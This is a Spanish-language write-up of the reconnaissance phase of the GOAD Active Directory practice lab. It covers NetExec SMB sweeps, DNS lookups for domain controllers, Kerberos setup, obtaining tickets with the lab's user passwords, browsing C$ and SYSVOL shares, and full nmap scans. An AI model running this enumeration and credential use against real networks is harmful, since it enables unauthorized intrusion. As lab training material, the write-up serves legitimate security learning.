---
# System prepended metadata

title: GOAD 1

---

# 1. Reconocimiento y escaneo
El laboratorio ya está operativo para la introducción de GOAD, vamos a hacer algo de reconocimiento.

## Enumerar la red
Comenzaremos el reconocimiento del entorno de Game Of Active Directory buscando todas las IPs disponibles.

![image](https://hackmd.io/_uploads/SkgO1-8MR.png)

### Primer reconocimiento con nxc
Lo primero que hago personalmente antes de lanzar un Nmap es escanear en busca de resultados de NetBIOS. Para ello, lanzo NetExec (nxc) en el rango de IP para obtener rápidamente respuestas de NetBIOS de los ordenadores Windows. Es una manera muy rápida de obtener todas las IPs de las máquinas Windows, nombres y dominios.

```
nxc smb 192.168.10.0/24
```

![image](https://hackmd.io/_uploads/SymIZbIfA.png)

¡Este comando responde relativamente rápido y devuelve mucha información útil!

Ahora sabemos que hay 3 dominios:

* north.sevenkingdoms.local (2 IPs)
	* CASTELBLACK (servidor Windows 2019) (firma en falso)
	* WINTERFELL (servidor Windows 2019)
* sevenkingdoms.local (1 IPs)
	* KINGSLANDING (servidor Windows 2019)
* essos.local (2 IPs)
	* BRAAVOS (servidor Windows 2016) (firma en falso)
	* MEEREEN (servidor Windows 2019)

Aquí, como tenemos 3 dominios, sabemos que deben configurarse tres DCs. También sabemos que Microsoft configura la firma SMB de los DC como verdadera por defecto. Por lo tanto, todos los DC son los que tienen la firma en verdadero. (En un entorno seguro, la firma debe ser verdadera en todas partes para evitar el NTLM relay).

### Encontrar la IP del DC
![image](https://hackmd.io/_uploads/ByEdM-LG0.png)

Vamos a enumerar los DCs consultando el DNS con nslookup

```
nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.10.10
nslookup -type=srv _ldap._tcp.dc._msdcs.north.sevenkingdoms.local 192.168.10.10
nslookup -type=srv _ldap._tcp.dc._msdcs.essos.local 192.168.10.10
```

![image](https://hackmd.io/_uploads/H1osBZ8GC.png)

### Configurar /etc/hosts y Kerberos
Para usar Kerberos en nuestro entorno Linux realizaremos algunas configuraciones.
Primero debemos establecer el DNS configurando el archivo /etc/hosts.

```
sudo nano /etc/hosts
```

```
# GOAD
192.168.10.10   sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding
192.168.10.11   winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell
192.168.10.12   essos.local meereen.essos.local meereen
192.168.10.22   castelblack.north.sevenkingdoms.local castelblack
192.168.10.23   braavos.essos.local braavos
```

Debemos instalar el cliente Kerberos de Linux.

```
sudo apt install krb5-user -y
```

Respondemos las preguntas con:
* Realm: essos.local
* Servers: meereen.essos.local

Configuraremos el archivo /etc/krb5.conf de esta manera:

```
sudo nano /etc/krb5.conf
```

```
[libdefaults]
        default_realm = essos.local
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        rdns = false
        fcc-mit-ticketflags = true

[realms]
        north.sevenkingdoms.local = {
                kdc = winterfell.north.sevenkingdoms.local
                admin_server = winterfell.north.sevenkingdoms.local
        }
        sevenkingdoms.local = {
                kdc = kingslanding.sevenkingdoms.local
                admin_server = kingslanding.sevenkingdoms.local
        }
        essos.local = {
                kdc = meereen.essos.local
                admin_server = meereen.essos.local
        }
```

Si krb5-user ya está instalado, podemos reconfigurarlo con (dpkg-reconfigure o modificando /etc/krb5.conf)

```
sudo dpkg-reconfigure krb5-config
```

Ahora que Kerberos está configurado en nuestro entorno, intentaremos ver si podemos obtener un TGT para un usuario.

```
impacket-getTGT essos.local/khal.drogo:horse
```

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

[*] Saving ticket in khal.drogo.ccache
```

```
export KRB5CCNAME=/home/kali/khal.drogo.ccache
```

```
impacket-smbclient -k @braavos.essos.local
```

```
impacket-smbclient -k @braavos.essos.local
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
all
C$
CertEnroll
IPC$
public
# use C$
# ls
drw-rw-rw-          0  Mon Apr 22 10:51:58 2024 $Recycle.Bin
drw-rw-rw-          0  Wed Mar 20 23:32:13 2024 aaAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7
drw-rw-rw-          0  Wed Mar 20 23:32:09 2024 aaAntiRansomElastic-DO-NOT-TOUCH-def6d40c-a6a1-442c-adc4-9d57a47e58d7
drw-rw-rw-          0  Sat Mar 16 21:46:04 2024 Boot
-rw-rw-rw-     389396  Sat Mar 16 21:46:04 2024 bootmgr
-rw-rw-rw-          1  Sat Mar 16 21:46:04 2024 BOOTNXT
-rw-rw-rw-       8192  Sat Mar 16 21:46:04 2024 BOOTSECT.BAK
-rw-rw-rw-       1180  Sat Mar 16 17:34:55 2024 dns_log.txt
drw-rw-rw-          0  Sat Mar 16 13:48:28 2024 Documents and Settings
drw-rw-rw-          0  Sat Mar 16 16:26:06 2024 inetpub
-rw-rw-rw-  901451776  Sat May  4 05:46:34 2024 pagefile.sys
drw-rw-rw-          0  Sat Mar 16 21:45:26 2024 PerfLogs
drw-rw-rw-          0  Mon Mar 18 11:02:35 2024 Program Files
drw-rw-rw-          0  Sat Mar 16 16:39:02 2024 Program Files (x86)
drw-rw-rw-          0  Tue Mar 26 10:19:18 2024 ProgramData
drw-rw-rw-          0  Sat Mar 16 13:48:39 2024 Recovery
drw-rw-rw-          0  Sat Mar 16 16:37:17 2024 setup
drw-rw-rw-          0  Sat Mar 16 16:55:49 2024 shares
drw-rw-rw-          0  Mon May  6 09:13:06 2024 System Volume Information
drw-rw-rw-          0  Sat Mar 16 16:19:23 2024 tmp
drw-rw-rw-          0  Mon Apr 22 10:51:42 2024 Users
drw-rw-rw-          0  Thu Apr 25 15:05:35 2024 Windows
drw-rw-rw-          0  Wed Mar 20 23:32:15 2024 zzAntiRansomElastic-DO-NOT-TOUCH-dab6d40c-a6a1-442c-adc4-9d57a47e58d7
drw-rw-rw-          0  Wed Mar 20 23:32:11 2024 zzAntiRansomElastic-DO-NOT-TOUCH-def6d40c-a6a1-442c-adc4-9d57a47e58d7
```

Bien, la configuración de Kerberos está correcta :)
Ahora podríamos eliminar el ticket:

```
unset KRB5CCNAME
```

Si Kerberos no funciona en Winterfell con el FQDN completo, se puede solucionar solo configurando winterfell en lugar de winterfell.north.sevenkingdoms.local.

```
impacket-getTGT north.sevenkingdoms.local/arya.stark:Needle
```
 
```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

[*] Saving ticket in arya.stark.ccache
```

```
export KRB5CCNAME=/home/kali/arya.stark.ccache
```

```
impacket-smbclient -k -no-pass @winterfell
```

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
# use SYSVOL
# ls
drw-rw-rw-          0  Sat Mar 16 15:58:35 2024 .
drw-rw-rw-          0  Sat Mar 16 15:58:35 2024 ..
drw-rw-rw-          0  Sat Mar 16 15:58:35 2024 north.sevenkingdoms.local
```

### Nmap
Una cosa que hay que saber es que Nmap hará un ping antes de escanear el objetivo. Si el objetivo no responde al ping, será ignorado.

La forma de asegurarnos de que no nos perdemos nada en TCP, podría ser escanear con las siguientes opciones:

```
nmap -Pn -p- -sC -sV -oA full_scan_goad 192.168.10.10-12,22-23
```

Vamos a analizar este comando:
* `-Pn` no hacer ping y escanear todas las IPs
* `-p-` escanear los 65535 puertos en lugar de los 1000 puertos principales de Nmap por defecto
* `-sC` ejecutar los scripts predeterminados para reconocimiento
* `-sV` enumerar la versión
* `-oA` escribir resultados en los 3 formatos disponibles (Nmap clásico, formato Grep, formato XML)

El resultado completo del escaneo es:
```
Nmap scan report for sevenkingdoms.local (192.168.10.10)
Host is up (0.034s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-06 08:12:52Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2024-03-16T15:17:14
|_Not valid after:  2025-03-16T15:17:14
|_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2024-03-16T15:17:14
|_Not valid after:  2025-03-16T15:17:14
|_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2024-03-16T15:17:14
|_Not valid after:  2025-03-16T15:17:14
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2024-03-16T15:17:14
|_Not valid after:  2025-03-16T15:17:14
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2024-03-15T13:17:18
|_Not valid after:  2024-09-14T13:17:18
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: SEVENKINGDOMS
|   NetBIOS_Domain_Name: SEVENKINGDOMS
|   NetBIOS_Computer_Name: KINGSLANDING
|   DNS_Domain_Name: sevenkingdoms.local
|   DNS_Computer_Name: kingslanding.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-05-06T08:15:48+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=VAGRANT-2019
| Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019
| Not valid before: 2024-03-15T12:39:03
|_Not valid after:  2027-03-15T12:39:03
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_  http/1.1
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  msrpc         Microsoft Windows RPC
49791/tcp open  msrpc         Microsoft Windows RPC
49914/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-05-06T08:15:48
|_  start_date: N/A

Nmap scan report for winterfell.north.sevenkingdoms.local (192.168.10.11)
Host is up (0.031s latency).
Not shown: 65507 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-06 08:13:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2024-03-17T00:41:38
|_Not valid after:  2025-03-17T00:41:38
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2024-03-17T00:41:38
|_Not valid after:  2025-03-17T00:41:38
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2024-03-17T00:41:38
|_Not valid after:  2025-03-17T00:41:38
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2024-03-17T00:41:38
|_Not valid after:  2025-03-17T00:41:38
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Not valid before: 2024-03-15T14:59:08
|_Not valid after:  2024-09-14T14:59:08
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=VAGRANT-2019
| Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019
| Not valid before: 2024-03-15T12:39:03
|_Not valid after:  2027-03-15T12:39:03
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49680/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49759/tcp open  msrpc         Microsoft Windows RPC
49997/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
|   date: 2024-05-06T08:16:00
|_  start_date: N/A

Nmap scan report for essos.local (192.168.10.12)
Host is up (0.035s latency).
Not shown: 65506 closed tcp ports (conn-refused)
PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2024-05-06 08:13:52Z)
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local
| Not valid before: 2024-03-16T15:17:31
|_Not valid after:  2025-03-16T15:17:31
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
445/tcp   open  1               Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:27+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local
| Not valid before: 2024-03-16T15:17:31
|_Not valid after:  2025-03-16T15:17:31
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local
| Not valid before: 2024-03-16T15:17:31
|_Not valid after:  2025-03-16T15:17:31
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:meereen.essos.local
| Not valid before: 2024-03-16T15:17:31
|_Not valid after:  2025-03-16T15:17:31
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
3389/tcp  open  ms-wbt-server   Microsoft Terminal Services
| ssl-cert: Subject: commonName=meereen.essos.local
| Not valid before: 2024-03-15T13:17:12
|_Not valid after:  2024-09-14T13:17:12
| rdp-ntlm-info:
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: MEEREEN
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: meereen.essos.local
|   DNS_Tree_Name: essos.local
|   Product_Version: 10.0.14393
|_  System_Time: 2024-05-06T08:15:51+00:00
|_ssl-date: 2024-05-06T08:16:26+00:00; -2s from scanner time.
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=VAGRANT-2016
| Subject Alternative Name: DNS:VAGRANT-2016, DNS:vagrant-2016
| Not valid before: 2024-03-15T12:49:26
|_Not valid after:  2027-03-15T12:49:26
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
6783/tcp  open  ssl/splashtop   Splashtop Remote Server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Not valid before: 2024-04-27T12:08:19
|_Not valid after:  2025-04-27T12:08:19
7070/tcp  open  ssl/realserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AnyDesk Client
| Not valid before: 2024-04-24T11:02:57
|_Not valid after:  2074-04-12T11:02:57
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc           Microsoft Windows RPC
49665/tcp open  msrpc           Microsoft Windows RPC
49666/tcp open  msrpc           Microsoft Windows RPC
49667/tcp open  msrpc           Microsoft Windows RPC
49669/tcp open  msrpc           Microsoft Windows RPC
49674/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc           Microsoft Windows RPC
49679/tcp open  msrpc           Microsoft Windows RPC
49696/tcp open  msrpc           Microsoft Windows RPC
49711/tcp open  msrpc           Microsoft Windows RPC
49951/tcp open  msrpc           Microsoft Windows RPC
Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-06T08:16:05
|_  start_date: 2024-04-27T12:08:02
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: meereen
|   NetBIOS computer name: MEEREEN\x00
|   Domain name: essos.local
|   Forest name: essos.local
|   FQDN: meereen.essos.local
|_  System time: 2024-05-06T10:16:04+02:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -11m59s, deviation: 37m51s, median: -1s

Nmap scan report for castelblack.north.sevenkingdoms.local (192.168.10.22)
Host is up (0.035s latency).
Not shown: 65515 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|   192.168.10.22:1433:
|     Target_Name: NORTH
|     NetBIOS_Domain_Name: NORTH
|     NetBIOS_Computer_Name: CASTELBLACK
|     DNS_Domain_Name: north.sevenkingdoms.local
|     DNS_Computer_Name: castelblack.north.sevenkingdoms.local
|     DNS_Tree_Name: sevenkingdoms.local
|_    Product_Version: 10.0.17763
| ms-sql-info:
|   192.168.10.22:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-20T22:26:42
|_Not valid after:  2054-03-20T22:26:42
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local
| Not valid before: 2024-03-15T16:12:31
|_Not valid after:  2024-09-14T16:12:31
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-05-06T08:16:27+00:00; 0s from scanner time.
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=VAGRANT-2019
| Subject Alternative Name: DNS:VAGRANT-2019, DNS:vagrant-2019
| Not valid before: 2024-03-15T12:39:03
|_Not valid after:  2027-03-15T12:39:03
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49792/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-20T22:26:42
|_Not valid after:  2054-03-20T22:26:42
| ms-sql-ntlm-info:
|   192.168.10.22:49792:
|     Target_Name: NORTH
|     NetBIOS_Domain_Name: NORTH
|     NetBIOS_Computer_Name: CASTELBLACK
|     DNS_Domain_Name: north.sevenkingdoms.local
|     DNS_Computer_Name: castelblack.north.sevenkingdoms.local
|     DNS_Tree_Name: sevenkingdoms.local
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-05-06T08:16:26+00:00; -1s from scanner time.
| ms-sql-info:
|   192.168.10.22:49792:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 49792
53255/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-06T08:16:11
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Nmap scan report for braavos.essos.local (192.168.10.23)
Host is up (0.029s latency).
Not shown: 65516 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-03-20T22:26:28
|_Not valid after:  2054-03-20T22:26:28
| ms-sql-info:
|   192.168.10.23:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time.
| ms-sql-ntlm-info:
|   192.168.10.23:1433:
|     Target_Name: ESSOS
|     NetBIOS_Domain_Name: ESSOS
|     NetBIOS_Computer_Name: BRAAVOS
|     DNS_Domain_Name: essos.local
|     DNS_Computer_Name: braavos.essos.local
|     DNS_Tree_Name: essos.local
|_    Product_Version: 10.0.14393
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=braavos.essos.local
| Not valid before: 2024-03-15T16:12:26
|_Not valid after:  2024-09-14T16:12:26
|_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-05-06T08:17:56+00:00; -1s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=VAGRANT-2016
| Subject Alternative Name: DNS:VAGRANT-2016, DNS:vagrant-2016
| Not valid before: 2024-03-15T12:49:26
|_Not valid after:  2027-03-15T12:49:26
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
